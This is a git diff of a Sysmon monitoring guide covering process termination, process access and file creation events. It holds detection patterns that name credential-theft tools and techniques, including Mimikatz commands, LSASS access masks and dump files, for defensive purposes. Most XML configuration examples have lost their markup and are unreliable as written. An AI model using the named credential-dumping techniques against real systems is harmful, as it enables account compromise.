cap_fver=0 cap_frootid=0 +type=PATH msg=audit(10/26/2021 12:51:14.046:1385) : item=0 name=/usr/bin/ping inode=394173 dev=08:05 mode=file,755 ouid=root ogid=root rdev=00:00 nametype=NORMAL cap_fp=net_raw cap_fi=none cap_fe=1 cap_fver=2 cap_frootid=0 +type=CWD msg=audit(10/26/2021 12:51:14.046:1385) : cwd=/root +type=EXECVE msg=audit(10/26/2021 12:51:14.046:1385) : argc=4 a0=ping a1=-c a2=3 a3=8.8.8.8 +type=SYSCALL msg=audit(10/26/2021 12:51:14.046:1385) : arch=x86_64 syscall=execve success=yes exit=0 a0=0x55c090caa2b0 a1=0x55c090ca9050 a2=0x55c090cb0750 a3=0x8 items=2 ppid=9313 pid=10184 auid=carlos uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts0 ses=5 comm=ping exe=/usr/bin/ping subj=unconfined key=(null) +``` + +Here is the same command logged in Sysmon where the event is contained in XML format. + +```xml +Oct 26 13:11:11 ubuntu sysmon: 154100x8000000000000000216077Linux-Sysmon/Operationalubuntu-2021-10-26 20:11:11.159{2424faa4-60df-6178-315b-20b68b550000}2669/usr/bin/ping-----ping -c 3 8.8.8.8/home/carlos/Desktopcarlos{2424faa4-0000-0000-e803-000000000000}10003no level-{2424faa4-60b3-6178-0517-a76010560000}2641/usr/bin/bashbashcarlos +``` + +In addition to this having a unique LogonGUID and ProcessGUID for correlation makes correlation much quicker. + +### Process Termination + + +Sysmon will log an **EventID 5** when a process terminates. While less critical than process creation events, process termination logging provides valuable context for investigations and can help detect specific attacker behaviors, particularly defensive evasion techniques. + + +Process termination events serve several important purposes in detection engineering: + +**Timeline Analysis**: By correlating process creation (Event ID 1) with termination events, you can calculate how long a process ran. A process that executes for only milliseconds might indicate reconnaissance or automated attack tools. A process that runs for an unusually long time might indicate persistence or data exfiltration. + +**Defensive Evasion Detection**: Attackers frequently terminate security tools to operate undetected. Monitoring for the termination of specific processes can alert you when: +* Antivirus or EDR agents are killed +* Logging services are stopped +* Backup processes are terminated (common before ransomware deployment) +* Windows Defender processes are stopped +* Sysmon itself is terminated + +**Incident Investigation**: When investigating an incident, knowing when processes stopped running helps establish a timeline. This is particularly valuable when analyzing malware that runs briefly, deletes itself, and terminates. + +**Anomaly Detection**: Unexpected termination of critical system processes or services can indicate system instability, crashes due to exploitation, or deliberate sabotage. + +**MITRE ATT&CK Mapping**: Process termination is relevant for detecting: +* **T1562 - Impair Defenses**: Stopping or killing security tools +* **T1489 - Service Stop**: Terminating services before destructive actions +* **T1490 - Inhibit System Recovery**: Stopping backup or recovery services + + +Unlike process creation, process termination is a **lower priority event type** for most environments. The volume is similar to process creation (every process that starts will eventually terminate), but the detection value is lower. This leads to three common configuration approaches: + +**Approach 1 - Do Not Log (Common)**: Many organizations do not log process termination at all. If storage or SIEM licensing is constrained, this is often the first event type to be disabled. You can still conduct investigations using only process creation events; you simply lose some timeline precision. + +**Approach 2 - Log Everything**: Some organizations log all process termination events to maintain complete process lifecycle visibility. This approach makes sense if: +* You have sufficient storage and SIEM capacity +* You frequently conduct detailed forensic investigations +* You want precise process duration calculations +* Compliance requirements demand complete audit trails + +**Approach 3 - Targeted Includes (Recommended)**: Rather than logging all terminations or using exclusions, configure Sysmon to only log termination of security-relevant processes. This provides the detection value without the volume burden. + + +The most effective approach is to only log termination of processes that matter for security monitoring: + +```xml + + + + + + defender + avast + avg + norton + mcafee + sophos + crowdstrike + carbon + MsSense.exe + SysmonDrv.exe + + + + + lsass.exe + csrss.exe + wininit.exe + + + + + vss + backup + wbadmin + + + + + EventLog.exe + splunk + elastic + + + + +``` + +This configuration only logs termination of processes that are security-relevant, dramatically reducing volume while maintaining detection capability for defensive evasion attempts. + + +When reviewing process termination events, look for these suspicious patterns: + +**Security Tool Termination**: Any termination of antivirus, EDR, or monitoring tools should be investigated. Legitimate updates or administrative actions should be rare and documented. + +**Batch Terminations**: Multiple processes terminated in rapid succession by the same parent process, especially if terminating security tools or system services. This pattern is common in ransomware and wiper malware. + +**Unusual Termination Methods**: Processes terminated by debugging tools, scripts, or command-line utilities like taskkill.exe when targeting security processes. + +**Short-Lived Suspicious Processes**: When correlated with process creation, very short process lifetimes for reconnaissance tools, credential dumpers, or other attack tools that execute and immediately exit. + +The process termination fields are: + +* **RuleName** -- Rule name for which the event triggered. + +* **UtcTime** - Time in UTC when event was created + +* **ProcessGuid** - Process Guid of the process that terminated + +* **ProcessId** - Process ID used by the OS to identify the process + that terminated + +* **Image** - File path of the executable of the process that + terminated + +### Process Access + + +When one process opens another and requests access to its memory space, Sysmon will log this with an **Event ID 10**. This event type is critical for detecting some of the most dangerous post-exploitation techniques used by attackers, including credential theft, process injection, and memory manipulation. + + +Process access monitoring is essential because many advanced attack techniques require reading or modifying another process's memory. Understanding when and how processes access each other provides visibility into: + +**Credential Dumping**: The most common use case for process access monitoring is detecting attempts to steal credentials from memory. Attackers frequently target specific Windows processes that contain credentials in memory: +* **lsass.exe** (Local Security Authority Subsystem Service) - Contains authentication credentials and is the primary target for tools like Mimikatz +* **csrss.exe** (Client/Server Runtime Subsystem) - Can contain sensitive session information +* **winlogon.exe** - Handles user logon and may contain plaintext passwords briefly + +**Process Injection**: Attackers inject malicious code into legitimate processes to evade detection and gain elevated privileges. This requires opening the target process with specific access rights to write to its memory and create threads. + +**Process Hollowing**: A technique where an attacker creates a legitimate process in a suspended state, replaces its code with malicious code, and then resumes execution. This also requires specific process access rights to manipulate memory. + +**Defense Evasion**: Accessing security tool processes to disable protections, manipulate their behavior, or terminate them. + +**MITRE ATT&CK Mapping**: Process access events help detect: +* **T1003.001 - OS Credential Dumping: LSASS Memory** - Reading LSASS process memory to extract credentials +* **T1055 - Process Injection** - Injecting code into running processes +* **T1055.012 - Process Hollowing** - Replacing legitimate process code with malicious code +* **T1106 - Native API** - Using low-level APIs to access processes +* **T1134 - Access Token Manipulation** - Opening processes to steal or manipulate access tokens + + +Process access can generate moderate to high volumes of events depending on configuration. Many legitimate processes routinely access other processes for benign purposes: +* Task Manager queries all running processes +* Monitoring tools read process information +* Management agents check process status +* Security software scans running processes + +This is why process access monitoring uses a **targeted include approach** rather than exclusions. Instead of logging all process access and filtering out normal activity, you configure Sysmon to only log access to specific critical processes or access attempts using specific dangerous access rights. + + +Unlike high-volume event types such as process creation where you use exclusions to filter out noise, process access monitoring works best with **targeted includes**. You explicitly specify which processes to monitor and which access rights to alert on. This approach provides several benefits: + +**Focused Detection**: By only monitoring specific critical processes, you ensure every event logged is potentially significant. + +**Manageable Volume**: Limiting monitoring to a handful of critical system processes keeps event volume low. + +**Clear Intent**: When a process access event is generated, it is because something accessed a process you specifically decided to protect. This makes triage straightforward. + +**Reduced False Positives**: While you will still see some benign access to critical processes, the volume is low enough that filtering can be done at the SIEM level using additional context like source process path, user account, or parent process. + + +Sysmon generates this event using ObRegisterCallbacks leveraging its driver. The main two filtering fields recommended are: + +* **TargetImage** - File path of the executable being accessed by another process. This is how you specify which processes to protect. + +* **GrantedAccess** - The access flags (bitmask) associated with the process rights requested for the target process. This allows you to filter for specific dangerous access rights. + + +As a minimum, it is recommended to monitor these critical Windows processes: + +* **C:\\Windows\\system32\\lsass.exe** - Primary target for credential theft. This should always be monitored. + +* **C:\\Windows\\system32\\csrss.exe** - Client/Server Runtime Subsystem, can contain session credentials -As a minimum it is recommended to filter including critical processes, -as a minimum: +* **C:\\Windows\\system32\\wininit.exe** - Windows initialization process -* C:\\Windows\\system32\\lsass.exe +* **C:\\Windows\\system32\\winlogon.exe** - Handles interactive logon, may contain credentials temporarily -* C:\\Windows\\system32\\csrss.exe +* **C:\\Windows\\system32\\services.exe** - Service Control Manager -* C:\\Windows\\system32\\wininit.exe +You may also want to monitor: +* Your EDR or antivirus processes (to detect attempts to disable security tools) +* Backup agent processes (to detect ransomware attempting to terminate backup services) +* Domain controller specific processes if monitoring DCs -* C:\\Windows\\system32\\winlogon.exe -* C:\\Windows\\system32\\services.exe +Access masks define what permissions are being requested when one process opens another. Different attack techniques require different access rights, so understanding these masks helps you identify what an attacker is attempting to do. -Check for masks of known tools for credential dumping, process injection -and process hollowing. Great care should be taken when setting masks -since Sysmon does a literal comparison of the mask string provided -against the one returned. It is not a bitwise operation, care should be -taken to track the proper combinations. +**Important**: Sysmon performs a literal string comparison of the GrantedAccess value, not a bitwise operation. The mask must match exactly as logged. Care should be taken to track the proper combinations and test your filters to ensure they trigger correctly. |Access | Mask | |--------------------------------------|------------ @@ -993,11 +1811,33 @@ taken to track the proper combinations. | PROCESS\_VM\_READ |0x0010| | PROCESS\_VM\_WRITE |0x0020| -The PSGumshoe PowerShell module has a function for creating and parsing -mask strings. +**Common Attack Patterns and Their Access Masks:** + +Different attack tools and techniques use specific combinations of access rights: + +* **0x1010** (PROCESS_VM_READ + PROCESS_QUERY_INFORMATION) - Commonly used by Mimikatz sekurlsa module to read LSASS memory +* **0x1F1FFF** or **0x1FFFFF** - PROCESS_ALL_ACCESS, requests all possible rights, often used by debugging tools like ProcDump +* **0x1438** or **0x143A** - Used by Mimikatz lsadump module for various credential dumping operations +* **0x0810** (PROCESS_VM_READ + PROCESS_SUSPEND_RESUME) - Can indicate credential dumping attempts +* **0x0820** (PROCESS_VM_WRITE + PROCESS_CREATE_THREAD) - Strong indicator of process injection +* **0x0800** (PROCESS_SUSPEND_RESUME) - May indicate process hollowing when combined with other memory operations + +**Legitimate Access Patterns to Expect:** + +You will see some benign process access even when monitoring critical processes: + +* Task Manager and monitoring tools querying process information with low-privilege access masks +* Security software scanning processes with read access +* Windows services performing normal system operations +* Management agents checking process status + +These can typically be filtered at the SIEM level by creating exclusions for known-good source processes (e.g., Task Manager at C:\\Windows\\System32\\taskmgr.exe accessing with 0x1400 or 0x1000). + +**The PSGumshoe PowerShell module has a function for creating and parsing mask strings:** -The fields for the even are: + +The fields for the event are: * **RuleName**: Rule that triggered the event @@ -1025,11 +1865,10 @@ The fields for the even are: * **GrantedAccess**: The access flags (bitmask) associated with the process rights requested for the target process -* **CallTrace**: Stack trace of where open process is called. Included - is the DLL and the relative virtual address of the functions in the - call stack right before the open process call +* **CallTrace**: Stack trace of where open process is called. Included is the DLL and the relative virtual address of the functions in the call stack right before the open process call. This field is valuable for identifying the code path that led to the process access, which can help distinguish legitimate tools from malicious ones. + -Example: +Below is an example configuration that implements targeted monitoring of critical processes: ```xml @@ -1038,54 +1877,38 @@ Example: - - C:\Windows\system32\lsass.exe - + C:\Windows\system32\lsass.exe 0x1FFFFF - - C:\Windows\system32\lsass.exe - + C:\Windows\system32\lsass.exe 0x1F1FFF - - C:\Windows\system32\lsass.exe - + C:\Windows\system32\lsass.exe 0x1010 - - C:\Windows\system32\lsass.exe - + C:\Windows\system32\lsass.exe 0x143A - - C:\Windows\system32\csrss.exe + C:\Windows\system32\csrss.exe 0x1F1FFF - - C:\Windows\system32\wininit.exe + C:\Windows\system32\wininit.exe 0x1F1FFF - - C:\Windows\system32\winlogon.exe + C:\Windows\system32\winlogon.exe 0x1F1FFF - + C:\Windows\system32\services.exe 0x1F1FFF - C:\Windows\system32\services.exe 0x0810 @@ -1107,515 +1930,2124 @@ Example: ``` -Some examples of actions from security tools like Mimikatz and their -access masks - |Command |Sysmon 10 |Security 4663 Kernel Object - |-----------------------|---------------------------------------------------|----------------------------- - |lsadump::lsa /patch |GrantedAccess 0x1438 |AccessMask 0x10 - |lsadump::lsa /inject |rantedAccess 0x143a |AccessMask 0x10 - |lsadump::trust /patch |GrantedAccess 0x1438 |AccessMask 0x10 - |misc:memssp |GrantedAccess 0x1438 |AccessMask 0x10 - |Procdump mimidump |GrantedAccess 0x1fffff |AccessMask 0x10 - |Task Manage minidump |GrantedAccess 0x1400, 0x1000, 0x1410 and 0x1fffff |AccessMask 0x10 - |sekurlsa::\* |GrantedAccess 0x1010 |AccessMask 0x10 +**Known Credential Dumping Tool Access Patterns:** -## File Events +Below are examples of access masks generated by common credential theft tools: -### File Create + |Command/Tool |Sysmon 10 GrantedAccess |Security 4663 Kernel Object AccessMask + |-----------------------|---------------------------------------------------|----------------------------- + |Mimikatz lsadump::lsa /patch |GrantedAccess 0x1438 |AccessMask 0x10 + |Mimikatz lsadump::lsa /inject|GrantedAccess 0x143a |AccessMask 0x10 + |Mimikatz lsadump::trust /patch|GrantedAccess 0x1438 |AccessMask 0x10 + |Mimikatz misc::memssp |GrantedAccess 0x1438 |AccessMask 0x10 + |Procdump (mini dump LSASS) |GrantedAccess 0x1fffff |AccessMask 0x10 + |Task Manager (create dump) |GrantedAccess 0x1400, 0x1000, 0x1410, 0x1fffff |AccessMask 0x10 + |Mimikatz sekurlsa::\* |GrantedAccess 0x1010 |AccessMask 0x10 -Via its filter driver, Sysmon can log the creation of files and information on what process is creating the file using **EventID 11**. This allows defender to filter for: +**Analyzing CallTrace for Suspicious Indicators:** -* Dropping of files for later execution (PowerShell, Office Apps, certutil.exe) +The CallTrace field is one of the most valuable indicators for distinguishing legitimate access from attacks. It shows the stack of function calls that led to the process being opened, including which DLLs were involved. -* Modification of system configurations (Scheduled Tasks, WMI) +**Suspicious DLLs to Watch For:** -* Detection of malicious behaviors that create temporary or log files (.Net compile and run, DotNet2JS) +* **dbghelp.dll** - Microsoft debugging library commonly used by memory dumping tools. Frequently seen in LSASS credential dumping attacks, particularly in older versions of Windows. Also used against svchost.exe to extract RDP credentials from Terminal Services. -Since AV minifilter loads before Sysmon (due to the lower altitude number range), if an AV or EDR minifilter driver detects a malicious file and blocks it writing to disk, Sysmon will not see the event. +* **dbgcore.dll** - Windows debugging core library, similar usage to dbghelp.dll. Often indicates memory dumping activity against critical processes. -![minifilter](./media/image36.png) +* **ntdll.dll with uncommon call patterns** - While ntdll.dll is present in legitimate operations, unusual call stacks or direct API usage can indicate process injection or memory manipulation. -The file creation event fields are: +* **Unknown or suspicious third-party DLLs** - DLLs loaded from unusual paths or without proper signatures. -* **RuleName**: Name of rule that triggered the event +**Examples of Malicious CallTrace Patterns:** -* **UtcTime**: Time in UTC when event was created +When attackers dump LSASS memory using tools like ProcDump, Mimikatz, or custom dumpers, you will often see: +``` +CallTrace: C:\Windows\System32\dbghelp.dll+... +CallTrace: C:\Windows\System32\dbgcore.dll+... +``` -* **ProcessGuid**: Process Guid of the process that created the file +Attacks targeting svchost.exe for RDP credential theft show similar patterns with these debugging DLLs. -* **ProcessId**: Process ID used by the OS to identify the process that created the file (child) +**Legitimate vs. Malicious CallTrace:** -* **Image**: File path of the process that created the file +* **Legitimate**: Windows system processes accessing LSASS typically show call traces through expected Windows DLLs (kernel32.dll, kernelbase.dll) for routine operations +* **Suspicious**: Call traces showing dbghelp.dll or dbgcore.dll accessing LSASS or svchost, especially from user-initiated processes or unusual parent processes +* **High Risk**: Call traces from these debugging DLLs when the source process is running from temp directories, user downloads, or is a script-based tool (PowerShell, cmd.exe) -* **TargetFilename**: Name of the file that was created +**What to Watch For:** -* **CreationUtcTime**: File creation time +When reviewing process access events, prioritize investigation of: -Example monitoring for script file creation by extension: +1. **Unknown or Unexpected Processes Accessing LSASS or svchost**: Any process you do not recognize or that should not need access to these critical processes -```XML - - - - - - - .hta - +2. **Suspicious Source Paths**: Processes accessing critical processes from: + * Temp directories (C:\\Users\\*\\AppData\\Local\\Temp, C:\\Windows\\Temp) + * User download directories + * Unusual system paths (C:\\ProgramData\\*, C:\\Users\\Public\\*) + * Network shares - - - .bat - .cmd - .ps1 - .ps2 - .jse - .vb - .vbe - .vbs - +3. **Debugging DLLs in CallTrace**: Any CallTrace showing dbghelp.dll or dbgcore.dll should be investigated, especially when accessing LSASS or svchost - - - .application .appref-ms - +4. **PowerShell or Command-Line Tools**: While legitimate in some enterprise environments, PowerShell or cmd.exe accessing LSASS often indicates attack tools - - - - .*proj - .sln - +5. **High-Privilege Access Masks**: 0x1FFFFF (PROCESS_ALL_ACCESS) from non-debugging, non-administrative tools - - - .docm - .pptm - .xlsm - .xlm - .dotm - .xltm - .potm - .ppsm - .sldm - .xlam - .xla - +6. **After-Hours Access**: Credential dumping during off-hours when administrative activity is less expected - - - - AppData\Local\Microsoft\CLR_v2.0\UsageLogs\ - \UsageLogs\cscript.exe.log - \UsageLogs\wscript.exe.log - \UsageLogs\wmic.exe.log - \UsageLogs\mshta.exe.log - \UsageLogs\svchost.exe.log - \UsageLogs\regsvr32.exe.log - \UsageLogs\rundll32.exe.log - - - - - -``` +7. **RDP Credential Theft Indicators**: Process access to svchost.exe (especially the one hosting TermService) with debugging DLLs in the CallTrace -### File Create Time Change +**Reducing False Positives:** -**EventID 2** is for the technique that modifies the timestamps of a file (the modify, access, create, and change times). This is done often to mimic files that are in the same folder to hide dropped files or accessed files to prevent casual detection. Some applications modify timestamps in their normal operation. A good practice is to exclude those applications that normally change file creation times like setup executables, Chrome, OneDrive, and others. As a minimum, the Users directory should be monitored. +Process access monitoring of critical processes will generate some benign events. Use these strategies to reduce noise: -The fields for the event: +1. **SIEM-Level Filtering**: Rather than excluding at Sysmon level, filter known-good source processes in your SIEM using the full source image path -* RuleName: Name of rule that triggered the event +2. **Baseline Normal Behavior**: Document which management or security tools in your environment legitimately access LSASS and create exclusions for those specific processes -* UtcTime: Time in UTC when the event was created +3. **Use the CallTrace Field**: Legitimate Windows processes will show expected DLL call stacks. Suspicious access often shows unusual call traces or debugging-related DLLs -* ProcessGuid: Process GUID of the process that changed the file creation time +4. **Correlate with Other Events**: Cross-reference with process creation events to understand what spawned the accessing process -* ProcessId: Process ID used by the OS to identify the process changing the file creation time +5. **Whitelist by Path and Hash**: For legitimate tools, whitelist using both the full image path and file hash to prevent attackers from masquerading -* Image: File path of the process that changed the file creation time +**Testing Your Configuration:** -* TargetFilename: Full path name of the file +Validate your process access monitoring by safely simulating attacks in a test environment: -* CreationUtcTime: New creation time of the file +* Use Mimikatz in a lab to verify you detect sekurlsa and lsadump commands +* Test legitimate administrative tools to understand their access patterns and CallTrace signatures +* Verify ProcDump and Task Manager dump creation generates alerts with expected CallTrace data +* Simulate RDP credential theft techniques against svchost to verify detection +* Ensure CallTrace data is being captured and review the DLLs involved -* PreviousCreationUtcTime: Previous creation time of the file +By properly configuring and monitoring process access events, you gain visibility into some of the most critical phases of an attack: credential theft and code injection. This event type, when properly tuned, provides high-fidelity detections with manageable false positive rates. -Example: +## File Events -```xml - - - - - - - C:\Users - - - +### File Create - - - - - - OneDrive.exe - C:\Windows\system32\backgroundTaskHost.exe - - setup - install - Update\ - redist.exe - msiexec.exe - TrustedInstaller.exe - - - - - -``` -### File Stream Creation Hash +Via its filter driver, Sysmon can log the creation of files and information on what process created the file using **EventID 11**. File creation monitoring provides valuable detection capabilities for malware delivery, persistence mechanisms, and attacker tool staging. However, this is a high-volume event type that requires careful configuration to balance detection value with system performance and storage costs. -Sysmon will log **EventID 15** for the creation of Alternate Data Streams (ADS). This is an old technique where many vendors already monitor for the creation of ADS on files where the alternate stream is a PE executable. Attackers have changed to use alternate streams to hide information and to store other payloads that are not PE executables (DLL, Scripts). Sysmon will also capture the contents of text streams if they are less 1KB for the purpose of capturing Mark Of The Web (MOTW) streams. -Each record in NTFS on a drive is subdivided into a list of variable length attributes: +File creation monitoring provides visibility into several critical attack phases: -* \$STANDARD\_INFORMATION +**Initial Access and Delivery**: Attackers must write malicious files to disk. File creation events help detect: +* Weaponized documents dropped by email clients or browsers +* Malware payloads downloaded from the internet +* Exploitation frameworks writing files to disk +* Drive-by download artifacts -* \$FILE\_NAME +**Execution and Staging**: Before executing payloads, attackers often stage files. Monitoring detects: +* Script files (.ps1, .vbs, .js, .bat) created by Office applications (malicious macros) +* Executable files dropped into temporary directories +* Tools downloaded for later execution (Mimikatz, PsExec, etc.) +* Compilation artifacts from .NET execution (DotNetToJS technique) -* \$DATA +**Persistence Mechanisms**: Many persistence techniques involve file creation: +* Startup folder files for automatic execution +* Scheduled task XML files +* WMI MOF files for WMI persistence +* DLL files placed for DLL hijacking -* \$INDEX\_ROOT +**Defense Evasion**: Attackers create files to evade detection: +* Log file deletion and recreation (clearing evidence) +* Configuration files for malware +* Staging areas in unusual locations -* \$BITMAP +**Credential Access**: Some credential theft creates files: +* LSASS dump files (created by ProcDump, Task Manager, Mimikatz) +* SAM/SYSTEM/SECURITY hive exports +* NTDS.dit copies from domain controllers -* \$INDEX\_ALLOCATION +**MITRE ATT&CK Mapping**: File creation events help detect: +* **T1105 - Ingress Tool Transfer**: Downloading additional attack tools +* **T1059 - Command and Scripting Interpreter**: Script file creation for execution +* **T1053 - Scheduled Task/Job**: Task XML file creation +* **T1036 - Masquerading**: Files with misleading names or extensions +* **T1003 - OS Credential Dumping**: LSASS dump file creation +* **T1027 - Obfuscated Files or Information**: Encoded/encrypted file staging +* **T1204 - User Execution**: Malicious files delivered for user interaction -* \$ATTRIBUTE\_LIST -Alternate Data Streams (ADS) are implemented by having multiple \$Data -attributes +An important technical detail: **Sysmon cannot log files that are blocked before they are written to disk.** -* The Default data stream is unnamed +Antivirus and EDR products use minifilter drivers that load at lower altitude numbers than Sysmon (meaning they process I/O operations first). If an AV/EDR minifilter detects a malicious file and blocks it from being written, Sysmon never sees the file creation and cannot log it. -* Alternate streams are named ones. +This means Sysmon file creation events are most valuable for detecting: +* Files that bypass AV/EDR detection (zero-days, obfuscated payloads) +* Living-off-the-land techniques using legitimate tools +* Files created in locations AV might not monitor as aggressively +* Post-exploitation activity after initial compromise -Since streams that are part of the NTFS structure directories may have an AD, we can use PowerShell to look at a file with the single default unamend :\$DATA stream: -![stream1](./media/image41.png) +File creation is a **high-volume event type**. Modern Windows systems create thousands of files per hour through normal operation: +* Application updates and installations +* Temporary files for application processing +* Log files and cache files +* Browser downloads and cached data +* Windows system maintenance and updates +* User document saves and modifications -File with a second named stream: +**Two main configuration approaches:** -![stream2](./media/image42.png) +**Approach 1 - Targeted Includes (Recommended for Most)** +Monitor only specific file types, locations, or processes known to indicate malicious activity. This is the most practical approach for most environments. -Some execution examples: +**Approach 2 - Exclusion-Based with Aggressive Filtering** +Log most file creation but exclude high-volume benign locations. This requires significant SIEM capacity and careful baseline analysis. Only suitable for organizations with extensive SIEM infrastructure. -* Execution Rundll32 example +**Hybrid Approach** +Combine both: include specific suspicious file types while excluding specific high-volume benign locations. -* Cscript Example +![minifilter](./media/image36.png) + +The file creation event fields are: -* PowerShell Example +* **RuleName**: Name of rule that triggered the event -More execution examples at - by -Oddvar Moe +* **UtcTime**: Time in UTC when event was created -In the case of downloads performed by browsers and email clients in Windows that leveragle the urlmon.dll for downloading files they have al indetifying stream added with information about the download including the URL and Refferer. This information can be used to track the origing of downloaded files by attackers with a console presense or via a phishing attack. +* **ProcessGuid**: Process Guid of the process that created the file -We can use PowerShell Get-Item and Get-Content cmdlets to check is a Zone.Identifier stream exist and show its content. +* **ProcessId**: Process ID used by the OS to identify the process that created the file (child) -![process](./media/image63.png) +* **Image**: File path of the process that created the file +* **TargetFilename**: Name of the file that was created -The fields for the event: +* **CreationUtcTime**: File creation time -* **RuleName**: Name of rule that triggered the event -* **UtcTime**: Time in UTC when event was created -* **ProcessGuid**: Process GUID of the process that created the named file stream -* **ProcessId**: Process ID used by the OS to identify the process that created the named file stream -* **Image**: File path of the process that created the named file stream -* **TargetFilename**: Name of the file -* **CreationUtcTime**: File download time -* **Hash**: Full hash of the file with the algorithms in the HashType field -* **Content**: Contents of text streams. +**Suspicious File Extensions** (commonly created by attacks): +* **Scripts**: .ps1, .vbs, .js, .jse, .bat, .cmd, .hta - Script files for execution +* **Macros**: .docm, .xlsm, .pptm - Office documents with macros +* **Executables**: .exe, .dll, .sys in unusual locations +* **Scheduled Tasks**: .xml in `C:\Windows\System32\Tasks\` or `C:\Windows\Tasks\` +* **Build Files**: .proj, .sln - MSBuild project files (T1127) +* **ClickOnce**: .application, .appref-ms - ClickOnce deployment files +* **Registry**: .reg - Registry import files +* **Dump Files**: .dmp, .mdmp - Memory dump files (LSASS dumps) +* **Archives**: .zip, .rar, .7z in temp directories (staging/exfiltration) -The number of processes that create alternate streams should be low and easily excluded. Mail clients and browsers are the main generators of this event in normal operation to set the Zone attribute; Because of this, a maintenance process is recommended when leveraging these filters. +**Suspicious File Locations** (where attackers commonly stage files): +* **Temp Directories**: `C:\Windows\Temp\`, `C:\Users\*\AppData\Local\Temp\` +* **Public Directories**: `C:\Users\Public\`, `C:\ProgramData\` +* **Startup Folders**: `C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\` +* **Recycle Bin**: Unusual file creation in recycle bin directories +* **Root Directories**: `C:\`, `C:\Windows\`, `C:\Program Files\` (unusual for normal apps) -![process](./media/image43.png) +**Suspicious File Creation Patterns**: +* Office applications creating script files (malicious macro execution) +* Browsers creating executables (drive-by downloads) +* System utilities (certutil.exe, bitsadmin.exe) creating files +* Processes creating files in startup folders or scheduled task directories -Since urlmon.dll sets different parts of the stream as the file is downloaded we see normally a total of 6 events as the data is added to the file. This provides important forensic information to track files that an attacker may have delived and correlated with other networks logs. -Example: Exclude common processes that create alternate data streams. +**Example 1: Targeted Includes for Script Files and Execution Artifacts** -```xml +```XML - - - - - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe - - C:\Windows\system32\browser_broker.exe - - C:\Program Files\Internet Explorer\iexplore.exe - - OUTLOOK.EXE - - - + + + + + + .hta + + + + .bat + .cmd + .ps1 + .ps2 + .jse + .vb + .vbe + .vbs + + + + + .application .appref-ms + + + + + .*proj + .sln + + + + + .docm + .pptm + .xlsm + .xlm + .dotm + .xltm + .potm + .ppsm + .sldm + .xlam + .xla + + + + + AppData\Local\Microsoft\CLR_v2.0\UsageLogs\ + \UsageLogs\cscript.exe.log + \UsageLogs\wscript.exe.log + \UsageLogs\wmic.exe.log + \UsageLogs\mshta.exe.log + \UsageLogs\svchost.exe.log + \UsageLogs\regsvr32.exe.log + \UsageLogs\rundll32.exe.log + + + + ``` -### File Delete -Via its filter driver, Sysmon can log the creation of files and information on what process is deleting of overwriting the file using **EventID 23**. This allows a defender to filter for: +**Example 2: Credential Dumping File Creation** -* Dropper / stager that removes itself after execution (T1193 or T1064 and loads more) or attackers doing it manually +Monitor for memory dump files and credential theft artifacts: -* Wiper software (T1485 and T1488) +```xml + + + .dmp + .mdmp + + + sam.save + system.save + security.save + + + ntds.dit + +``` -* Ransomware (T1486) +**Example 3: Executables in Suspicious Locations** -![minifilter](./media/image36.png) +```xml + + + + \Temp\ + .exe + + + + + C:\Users\Public\ + .exe + + + + + \AppData\ + .dll + + +``` -#### Archive directory +**Example 4: Persistence Artifact Detection** -By default this folder is set to Sysmon if no folder is specified during installation and specified either in the configuration either in config file with the `````` setting in XML configurations file or via the registry by setting the registry key value **FilterArchiveDirectory** under the driver registry key paramaters. +```xml + + + \Start Menu\Programs\Startup\ + + + C:\Windows\System32\Tasks\ + C:\Windows\Tasks\ + +``` -On version 11.0 of Sysmon if the folder is not created during install using the commandline **-a \** parameter Sysmon will use the default **Sysmon** folder name and create that one and not the one specified in the configuration. On version 11.1 of Sysmon the parameter was removed and it is now required to specify the folder in the XML configuration file or the default name will be used. - -This folder is protected by a SYSTEM ACL, to access it you can use psexec to spawn a shell to access it via ```PsExec.exe -sid cmd```. +If using an exclusion-based strategy (log most, exclude benign high-volume), consider these exclusions. **Use with caution** and validate volume reduction: + +```xml + + + C:\Windows\SoftwareDistribution\ + C:\Windows\WinSxS\ + C:\Windows\Prefetch\ + + + \Google\Chrome\User Data\ + \Mozilla\Firefox\Profiles\ + \Microsoft\Edge\User Data\ + + + \AppData\Local\Microsoft\Windows\WebCache\ + \AppData\Local\Microsoft\Windows\INetCache\ + ``` -PS C:\> (Get-Acl C:\Sysmon\).access +**Warning**: Never completely exclude: +* Executable files (.exe, .dll, .sys) from any location +* Script files (.ps1, .vbs, .bat, .js) from any location +* Scheduled task directories +* Startup folders -FileSystemRights : FullControl -AccessControlType : Allow -IdentityReference : NT AUTHORITY\SYSTEM -IsInherited : False -InheritanceFlags : None -PropagationFlags : None -``` -#### Event information +When reviewing file creation events, prioritize these patterns: -The file delete event fields are: +**1. Office Applications Creating Scripts** +* WINWORD.EXE, EXCEL.EXE, or POWERPNT.EXE creating .ps1, .vbs, .bat, or .js files +* Strong indicator of malicious macro execution +* Cross-reference with process creation events to see if the script was executed -* **RuleName**: Name of rule that triggered the event +**2. Browsers Creating Executables** +* chrome.exe, msedge.exe, or firefox.exe creating .exe or .dll files +* May indicate drive-by downloads or malicious file downloads +* Legitimate downloads typically go to Downloads folder with user interaction -* **UtcTime**: Time in UTC when event was created +**3. System Utilities Downloading Files** +* certutil.exe, bitsadmin.exe, or powershell.exe creating files (especially .exe) +* Common living-off-the-land technique for downloading attack tools -* **ProcessGuid**: Process Guid of the process that deletec the file +**4. Memory Dump File Creation** +* Any .dmp or .mdmp file creation, especially if not from legitimate debugging tools +* Check source process - is it ProcDump, Task Manager, or an unknown tool? +* Check file location - LSASS dumps in temp directories are highly suspicious -* **ProcessId**: Process ID used by the OS to identify the process that deleted the file (child) +**5. Files in Startup or Scheduled Task Directories** +* Any file creation in startup folders or task directories +* Cross-reference with registry events for persistence detection +* Validate legitimacy of the creating process -* **Image**: File path of the process that deleted the file +**6. Executable Files in Uncommon Locations** +* .exe or .dll files in temp directories, ProgramData, or user profile directories +* Legitimate software installs to Program Files or ProgramData with installers +* Malware often stages in temp or user directories -* **TargetFilename**: Name of the file that was deleted +**7. Archives in Temp Directories** +* .zip, .rar, or .7z files created in temp locations +* May indicate data staging for exfiltration +* Large files or multiple archives in sequence are particularly suspicious -**Hashes**: Full hash of the file with the algorithms in the HashType field. This is also the filename of the saved file in the ArchiveDirectory +**8. Unusual Process Creating Files** +* Processes running from temp directories creating files +* System processes creating files in unusual locations +* 